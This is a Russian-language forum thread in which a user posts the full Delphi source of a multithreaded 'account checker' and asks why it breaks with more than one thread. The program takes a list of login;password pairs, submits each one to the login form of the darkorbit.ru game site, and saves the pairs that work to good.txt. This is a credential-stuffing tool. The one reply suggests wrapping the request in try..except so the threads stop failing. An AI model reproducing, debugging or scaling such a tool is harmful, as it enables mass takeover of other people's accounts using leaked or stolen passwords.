[Помогите!] Больше 1 потока не ставиться((

[[Na`Vi]DendI]

TNewThread = class(TThread)
  private
   FAcc : string;
   FPas : string;
   Rez : Integer;
  protected
    procedure Execute; override;
  public
    procedure Sync;
    constructor Create(CreateSuspended: Boolean);
  end;

var
ssylka,result:string;
  Form1: TForm1;
  Accounts:Tstringlist;
  Thread, Acc:integer;
  Work:boolean;
  CS:TcriticalSection;
  GoodFile, BadFile: textfile;

implementation

{$R *.dfm}

constructor TNewThread.Create(CreateSuspended: Boolean);
begin
  inherited Create(CreateSuspended);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
 OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
 if OpenDialog1.Execute then
  begin
   Accounts.Clear;
   Accounts.LoadFromFile(OpenDialog1.FileName);
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
 Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'good.txt');
 Rewrite(GoodFile);
 Closefile(GoodFile);
 Assignfile(BadFile, ExtractFilePath(Application.ExeName)+'bad.txt');
 Rewrite(BadFile);
 Closefile(BadFile);
 GoodLabel.Caption:='0';
 Gauge1.MaxValue:=Accounts.Count;
 Gauge1.Progress:=0;
 Acc:=-1;
 Work:=true;
 for Thread:=1  to strtoint(Edit1.Text) do
  TNewThread.Create(false);
 Thread:=strtoint(Edit1.Text);
end;

procedure TNewThread.Execute;
var CurAcc:integer;
    post:Tstringlist;
begin
 while Work do
  begin
   CS.Enter;
   Inc(Acc);
   if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
   CS.Leave;

   if Work then
    begin
     FAcc:= Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1);
     FPas:= Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc]));
post:=tstringlist.Create;
post.Add('loginForm_default_username='+FAcc);
post.Add('loginForm_default_password='+FPas);
post.Add('loginForm_default_login_submit=Вход');
result:=form1.idhttp1.Post('http://www.darkorbit.ru/?locale=ru&aid=0',post);
if pos('selectInstanceHint',result)<>0 then
       Rez:=1;
 Synchronize(Sync);

    end;
  end;

 dec(Thread);
 if Thread=0 then ShowMessage('OK');
end;




procedure TNewThread.Sync;
begin
 case Rez of
   1:begin
   form1.Memo1.Lines.Add(PChar(FAcc+';'+FPas));
      Append(GoodFile);
      Writeln(GoodFile,FAcc+';'+FPas);
      Closefile(GoodFile);
      Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.GoodLabel.Caption)+1);
      Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1;
     end;
 end;


end;


procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
 Accounts.Free;
 CS.Free;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 Accounts:=Tstringlist.create;
 CS:=TcriticalSection.create;
end;

end.

вот вообщем и полный код программы,проблема в том что больше 1 потока не ставиться( 1 поток нормально работает ставлю 2 или больше выбивает ошибку сокетов...

[VeTaL_UA]

Почитайте про синхронизацию потоков.

[[Na`Vi]DendI]

Цитата: Сообщение от VeTaL_UA Почитайте про синхронизацию потоков.

да я читал ,я поэтому наверное и создал тему по скольку не понял,можете просто сказать что не правильно и я пойму принцип ! буду очень благодарен !

[VeTaL_UA]

Заключи отправку запроса в try..except и пропиши исключение. Это самое простое.

[[Na`Vi]DendI]

Цитата: Сообщение от VeTaL_UA Заключи отправку запроса в try..except и пропиши исключение. Это самое простое.

Вот теперь понял,спасибо большое)